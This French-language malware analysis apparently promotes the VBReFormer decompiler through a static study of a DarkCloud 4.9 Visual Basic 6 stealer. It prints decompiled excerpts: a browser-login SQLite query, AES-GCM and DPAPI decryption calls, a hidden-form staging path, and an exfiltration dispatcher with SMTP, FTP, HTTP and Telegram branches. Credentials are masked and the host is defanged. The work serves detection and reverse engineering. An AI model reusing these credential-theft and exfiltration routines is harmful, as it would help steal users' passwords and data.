Un exécutable Visual Basic 6 peut voler des identifiants, préparer des fichiers et les expédier par plusieurs canaux, tout en restant opaque pour un simple extracteur de chaînes. Les valeurs utiles sont dispersées entre les métadonnées VB, des chaînes Unicode, des arguments de procédures et des appels au runtime MSVBVM60.DLL.
Malva.RE, plateforme d'analyse statique de malware et notre partenaire depuis juillet, a intégré VBReFormer Gen2 (V7) à ses analyses. Premier cas documenté par ses analystes : un échantillon du stealer DarkCloud, version 4.9, écrit en VB6 et compilé en code natif.
Le résultat va au-delà d'une liste de chaînes. Le code reconstruit par VBReFormer permet de distinguer le transport SMTP activé des trois branches FTP, HTTP et Telegram désactivées dans ce build, puis de restituer le serveur, les comptes, le port, le paramètre SSL, le mode d'authentification et le répertoire de préparation des fichiers.

Module7.proc_46CD10 dans VBReFormer Online, valeurs telles que décompilées.L'échantillon n'a jamais été exécuté. Décompilation, règle YARA et analyse ont porté uniquement sur ses octets. Ce qui suit décrit le code et sa configuration statique, pas une observation réseau.
Le cas est consultable dans VBReFormer Online : la procédure de configuration Module7.proc_46CD10 et le formulaire Form1. Le rapport d'analyse de l'échantillon est ouvert sur Malva.RE.
L'échantillon
| Propriété | Observation |
|---|---|
| SHA-256 | 367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e |
| Taille | 471 040 octets (460 Kio) |
| Format | Exécutable PE x86, sections .text, .data, .rsrc |
| Runtime importé | MSVBVM60.DLL |
| Compilation reconnue par VBReFormer | Code natif |
| Marqueur interne | Agent: DARKCLOUD V4.9 |
| Exécution | Aucune |
La version 4.9 provient d'une chaîne interne du programme : c'est un élément d'identification, pas une garantie. L'import de MSVBVM60.DLL ne dit pas non plus quelles API le programme utilise : les déclarations VB et les appels tardifs font apparaître des opérations absentes de la table d'imports.
Cette étude porte sur un échantillon VB6 natif. VBReFormer Gen2 traite aussi les exécutables VB5/VB6 en P-code, mais chaque fichier demande d'identifier sa forme de compilation : les conclusions établies sur ce programme ne décrivent pas automatiquement un autre échantillon.
YARA : un point d'entrée de hunting
La règle Hunt_DarkCloud_Stealer_Variants a été publiée par Evelyne Diaz Araque chez Stairwell le 21 août 2025 (règle et contexte). Elle accepte trois correspondances alternatives : au moins six indicateurs $s* ; un marqueur $d* avec au moins trois chaînes $t* ; ou au moins quatre indicateurs $c*.
Le test, mené avec YARA 4.1.1 sans modifier les chaînes, leurs qualificatifs ni la condition, donne :
| Groupe | Indicateurs présents | Condition | Résultat |
|---|---|---|---|
$s* | 14 / 14 | Au moins 6 | Satisfaite |
$d* | 0 / 6 | Au moins 1, avec $t* | Non satisfaite |
$t* | 0 / 6 | Au moins 3, avec $d* | Non satisfaite |
$c* | 0 / 6 | Au moins 4 | Non satisfaite |
Les conditions étant alternatives, les quatorze indicateurs $s* suffisent. Les encodages comptent : une chaîne en UTF-16LE n'est pas trouvée par une recherche ascii, et fullword impose une limite de mot. Pour l'analyste, le match n'est qu'un point de départ : le marqueur de version, les références VB6, les routines de collecte et la procédure d'exfiltration apportent ensuite une corroboration indépendante.
Ce que VBReFormer a reconstruit
| Fichier | Rôle |
|---|---|
Project1.vbp | Description reconstruite du projet |
Form1.frm / .frx | Formulaire, propriétés, gestionnaires d'événements et ressources binaires |
Module1.bas | Collecte et traitement d'identifiants |
Module2.bas | Initialisation, staging, utilitaires, cryptographie |
Module3.bas | Collecte et préparation de contacts |
Module5.bas | Lecture de données de clients de messagerie |
Module7.bas | Routage de l'exfiltration et transports |
| Fichiers d'accompagnement | Aides à la lecture et signalement des éléments non restitués |
EXPORT-NOTES.txt | Diagnostics de l'export |
Soit onze fichiers, dont huit vues de code : cinq modules applicatifs, un formulaire et deux modules d'aide générés, à ne pas confondre avec huit modules d'origine. L'intérêt est de lire chaque routine dans son contexte : les événements du formulaire mènent à l'initialisation, les modules de collecte préparent des fichiers, et le module de transport reçoit les valeurs nécessaires à l'envoi.
La sortie reste une reconstruction : les noms locaux et les commentaires d'origine ne sont pas dans l'exécutable. Des noms comme proc_46CD10 ou g_471034 servent à naviguer ; ce ne sont pas ceux de l'auteur. Dans les extraits qui suivent, les procédures gardent les noms de l'export, les coupes sont annoncées et les identifiants sensibles masqués.
Du formulaire invisible à la collecte
Le point d'entrée
Form1.frm déclare Visible = 0 et ShowInTaskbar = 0 : un formulaire VB n'implique pas une fenêtre visible. Son chargement lance l'initialisation :
Private Sub Form_Load()
On Error Resume Next
Module2.proc_45E960
End Sub
On Error Resume Next est conservé : il ne dit pas que les opérations suivantes réussiront, il peut aussi masquer leurs échecs.

Form1 dans VBReFormer Online : Form_Load lance l'initialisation, Timer5_Timer parcourt le staging.Un répertoire de staging propre à chaque utilisateur
g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))
Soit %AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%. Pour documenter le comportement, ces variables restent symboliques : le chemin réel dépend de la machine et de l'utilisateur visés, et le remplacer par le profil du poste d'analyse ferait perdre cette information. La même procédure cherche winsqlite3.dll, prévoit un repli vers vbsqlite3.dll et une ressource de Picture2, puis appelle les routines de collecte Module1.proc_4452A0 et Module3.proc_468300.
Identifiants de navigateurs : SQLite et cryptographie
ErrStr = "SELECT origin_url, username_value, password_value FROM logins"
Le code vise aussi les bases Login Data et Web Data, lit Local State et les champs os_crypt / encrypted_key, et appelle CryptUnprotectData ainsi que les API CNG :
If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
' Suite de la procedure omise dans cet extrait.
End If
Ces lignes établissent la présence de chemins de lecture et de déchiffrement AES-GCM. Elles ne démontrent pas que l'échantillon récupérerait les secrets de toutes les versions de navigateurs : DPAPI dépend du contexte de l'utilisateur et de la machine, et l'analyse n'a déchiffré aucune donnée.
Contacts et fichiers préparés pour l'envoi
Module3.proc_468300 appelle des routines de Module5 et prépare des fichiers préfixés Contacts_Thunderbird_, Contacts_163MailContacts_ ou Contacts_EMClient10Contacts_ :
g_471064 = Module5.proc_4696A0()
If g_471064 <> vbNullString Then
' Construction du chemin et ecriture du resultat omises.
Module7.proc_46CD10 var_28, var_2C
Sleep 1000
End If
La procédure d'exfiltration reçoit un libellé et un chemin de fichier, uniquement si la collecte a renvoyé quelque chose. Un timer, Form1.Timer5_Timer, parcourt aussi le staging avec les libellés Cookies, Contacts, Screenshot et KeyData. Deux précautions : un compteur de 1000 événements n'est pas une période démontrée de 1000 ms (SetTimer), et ces libellés ne prouvent pas qu'un keylogger ou une capture d'écran fonctionne dans ce build. C'est un mécanisme de sélection et d'envoi de fichiers.
La configuration se lit dans le dispatcher
La procédure centrale est Module7.proc_46CD10. Elle contient quatre branches, dont les conditions constantes décident lesquelles sont actives. Ouvrir cette procédure dans VBReFormer Online →
If 0 = -1 Then
sStrFtpPass = "@StrFtpPass"
sStrFtpUser = "@StrFtpUser"
sStrFtpServer = "@StrFtpServer"
proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If
If -1 = -1 Then
var_38 = 0
var_4C = 587
smtpPassword = "<MOT_DE_PASSE_MASQUE>"
smtpUsername = "<COMPTE_SMTP_MASQUE>"
smtpServer = "<HOTE_SMTP>"
smtpRecipient = "<DESTINATAIRE_MASQUE>"
proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If
If 0 = -1 Then
sGateUrl = "@GateUrl"
proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If
If 0 = -1 Then
sChatID = "@ChatID"
sStrBotToken = "@StrBotToken"
proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If
En VB, False vaut 0 et True vaut -1, comme le VARIANT_BOOL de COM. 0 = -1 est donc toujours faux, -1 = -1 toujours vrai :
| Transport | Condition | État dans ce build | Valeurs |
|---|---|---|---|
| FTP | 0 = -1 | Désactivé | Marqueurs du builder |
| SMTP | -1 = -1 | Activé | Paramètres renseignés |
| HTTP | 0 = -1 | Désactivé | @GateUrl |
| Telegram | 0 = -1 | Désactivé | @StrBotToken, @ChatID |
Cette structure est compatible avec un agent produit par un builder proposant plusieurs modes de sortie. C'est une inférence tirée du code, sans accès au builder.
SMTP : ce que la source dit, ce que le binaire complète
Le dispatcher passe huit arguments à proc_46DBA0. Quelques lignes de cette procédure rendent l'intention lisible :
var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send

Module7.proc_46DBA0 dans VBReFormer Online : configuration CDO, appels tardifs signalés en commentaire, sujet construit avec COMPUTERNAME et USERNAME.L'usage de chaque argument dans la procédure établit son rôle :
Paramètre de proc_46DBA0 | Rôle établi par son utilisation |
|---|---|
arg_8 | Destinataire du message |
arg_C | Serveur SMTP |
arg_10 | Compte SMTP, aussi utilisé comme expéditeur |
arg_14 | Mot de passe transmis à la configuration d'envoi |
arg_18 | Libellé utilisé dans le sujet |
arg_1C | Chemin du fichier à joindre |
arg_20 | Port SMTP |
arg_24 | Valeur du réglage SSL |
Le compte d'authentification n'est donc pas forcément le destinataire des données, et les paramètres fixes du build (serveur, port) se séparent de ceux assemblés au moment de la collecte (sujet, fichier). Le sujet combine d'ailleurs le libellé, COMPUTERNAME, USERNAME et une valeur globale dont le rôle exact n'est pas établi.
Pour un réglage CDO, l'export dit honnêtement ce qu'il n'a pas reconstruit :
' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1
Ce commentaire invite à revenir au désassemblage, plutôt que de deviner une affectation à partir de la proximité d'un mot de passe. Au voisinage de la chaîne http://schemas.microsoft.com/cdo/configuration/smtpauthenticate :
0046e1b3 mov eax, 0x444670
0046e1b8 mov dword ptr [ebp - 0xdc], eax
0046e1be mov ecx, 8
0046e1c3 mov dword ptr [ebp - 0xe4], ecx
0046e1c9 mov dword ptr [ebp - 0xfc], 1
0046e1d3 mov dword ptr [ebp - 0x104], 2

__vbaVarLateMemCallSt (ligne 432), puis la chaîne 0x444670 et le VARIANT de type 2, valeur 1 (lignes 433 à 438).Le type 2 avec la valeur 1 est un VARIANT VT_I2 contenant 1 ; le type 8 désigne une BSTR (VARENUM). Pour CDO, smtpauthenticate=1 correspond à cdoBasic (CdoProtocolsAuthentication). Le texte reconstruit situe l'opération ; les instructions natives en apportent la preuve. Sur un autre fichier, adresses et instructions seraient à examiner de nouveau.
| Champ | Résultat publié |
|---|---|
| Transport | SMTP activé |
| Serveur | mail[.]mokasco[.]com (forme désarmée) |
| Port | 587 |
| Compte, expéditeur, destinataire | En clair dans le fichier ; masqués ici |
| Mot de passe | En clair dans le fichier ; masqué ici |
| SSL | false |
| Authentification | 1 (cdoBasic) |
L'hôte est une valeur extraite du binaire. Elle ne dit rien de l'activité actuelle du serveur ni de l'identité de l'auteur : un domaine configuré ne permet pas d'attribuer l'opération à son propriétaire. De même, le port 587 et UseSsl=false sont des paramètres statiques : sans exécution ni capture réseau, ni négociation, ni authentification, ni envoi n'ont été observés.
Les transports présents mais désactivés
Le chemin FTP utilise InternetOpenA, InternetConnectA sur le port 21, puis FtpPutFileA. Le chemin HTTP construit une URL à partir d'une passerelle et d'un paramètre ?id=. La procédure Telegram contient une construction reconnaissable :
var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)

Module7.proc_46E5A0 dans VBReFormer Online : la route Telegram existe dans le code, mais le dispatcher ne l'appelle jamais.Mais @StrBotToken et @ChatID n'ont pas été remplacés, et l'appel est désactivé : api.telegram.org n'est pas l'infrastructure d'exfiltration de cet échantillon. Un autre build pourrait renseigner ce canal en gardant l'essentiel du code de collecte : le nom d'un transport, la présence de son code et son activation sont trois observations différentes.
Enfin, la fin du dispatcher contient If proc_46CD10 = -1 Then Kill arg_C. Dans le dispatcher, arg_C est le fichier à transmettre : il est supprimé après un résultat positif du transport. Ce n'est ni une auto-suppression de l'exécutable, ni la preuve d'une livraison effective.
Trois questions cryptographiques à ne pas confondre
La présence d'AES-GCM et de DPAPI ne veut pas dire que la configuration SMTP est chiffrée :
| Sujet | Observation dans l'échantillon |
|---|---|
| Protection des secrets visés | Routines faisant intervenir les API de déchiffrement et les données de profils |
| Stockage des paramètres d'exfiltration | Comptes et mot de passe SMTP en clair dans ce fichier |
| Protection du transport réseau | SSL désactivé dans la configuration ; échange réel non observé |
Conclure « configuration chiffrée en AES » à partir de BCryptDecrypt manquerait le rôle de ces procédures : il faut suivre les entrées et les sorties de chaque routine.
Pourquoi le VB6 est difficile à décompiler
Le runtime masque une partie du sens. Dans un programme VB6, conversions de types, manipulation d'objets, gestion des chaînes et appels de membres passent par le runtime. Le nom __vbaLateCallSt ne révèle pas, à lui seul, qu'une propriété CDO configure une authentification : il faut identifier l'objet, la propriété et les arguments. Une mauvaise lecture transforme un réglage en valeur inconnue, ou prête à un paramètre le rôle de son voisin.
Une adresse ne dit pas le type d'une donnée. En x86, un entier, un pointeur et un handle occupent la même place. VB6 ajoute ses conventions : une BSTR porte sa longueur, un VARIANT son type, un tableau d'octets ne se lit pas comme une chaîne. Dans le transport SMTP, il faut distinguer un booléen 0 ou -1 d'un port 587 ou d'un mode d'authentification 1.
Le point d'entrée PE n'est pas tout le programme. Un programme événementiel vit dans ses formulaires : ici, Form_Load lance l'initialisation et Timer5_Timer organise une sélection récurrente de fichiers. La référence à Picture2 dans un repli lié à SQLite justifie aussi l'examen des ressources du formulaire.
Natif et P-code sont deux problèmes différents. L'un mène à des instructions x86, l'autre aux instructions de la machine virtuelle VB. Les questions sont les mêmes (quelles données, quelles transformations, quelle destination) ; le chemin pour y répondre diffère. Le détail est dans P-Code ou code natif et Décompilateur ou désassembleur.
L'apport de VBReFormer Gen2
Pour cette étude, VBReFormer Gen2 (V7) donne accès à une représentation du programme où formulaires, procédures et appels s'étudient ensemble. On passe de Form1 à Module2.proc_45E960, puis des routines de collecte à Module7.proc_46CD10 : la question « où vont les données ? » se traite à partir d'une procédure identifiable, de ses conditions et de ses arguments.
| Question d'analyse | Élément de code qui y répond |
|---|---|
| Quel événement lance l'initialisation ? | Form1.Form_Load |
| Où les résultats sont-ils préparés ? | Construction de g_471034 dans Module2 |
| Quelles données sont recherchées ? | Requêtes SQLite, chemins de profils, routines de contacts |
| Quel transport est sélectionné ? | Conditions de Module7.proc_46CD10 |
| À quoi correspondent les comptes trouvés ? | Utilisation des arguments dans la procédure SMTP |
| Que devient le fichier après envoi ? | Kill arg_C dans le dispatcher |
L'apport est le plus visible dans le dispatcher : quatre transports apparaissent dans le fichier, mais la lecture des comparaisons constantes établit qu'un seul est activé. Une liste de chaînes aurait gardé quatre hypothèses. Une clé, un compte, une URL ou un nom de fichier prennent leur sens par leur place dans le programme, et chaque constat se partage en pointant une procédure et une instruction.
La portée reste précise : ces extraits démontrent l'analyse d'un DarkCloud VB6 natif. Ils ne garantissent pas la restitution intégrale de tout exécutable VB5/VB6.
Ce que l'analyse n'affirme pas
- Une configuration en clair dans cet échantillon ne veut pas dire que toutes les versions de DarkCloud stockent leurs paramètres de la même façon. Le serveur SMTP est propre à ce build, pas une signature de la famille.
- Des fragments du code reconstruit restent incomplets : une valeur non restituée reste une question ouverte tant que le fichier ne l'a pas tranchée.
- Les noms d'API crypto, les schémas CDO et les domaines de services légitimes ne sont pas, à eux seuls, des IOC malveillants. Les marqueurs
@GateUrl,@StrBotTokenet@ChatIDne sont pas des IOC réseau. - Aucune connexion au serveur SMTP, essai d'identifiants ou tentative d'envoi n'a été faite.
Explorer le cas
La vue de configuration Module7.proc_46CD10 montre les quatre branches de transport, et la différence entre paramètres renseignés et marqueurs du builder. La vue Form1 part des événements du formulaire pour remonter vers l'initialisation et la collecte.
Pour l'analyste qui consulte un rapport Malva.RE, comme celui de cet échantillon, l'accès à la décompilation permet de confronter les résultats au comportement décrit par les procédures : quelle routine collecte les données, quelle condition autorise l'envoi, quels arguments désignent la destination.
Références
- Malva.RE — analyse statique de malware
- Malva.RE : rapport de l'échantillon DarkCloud
- Evelyne Diaz Araque, Stairwell : A YARA Rule for Threat Hunting DarkCloud Stealer
- Microsoft :
CryptUnprotectData - Pourquoi les campagnes de malware reviennent au Visual Basic 6
- Analyser un malware VB6 : notre partenariat avec Malva.RE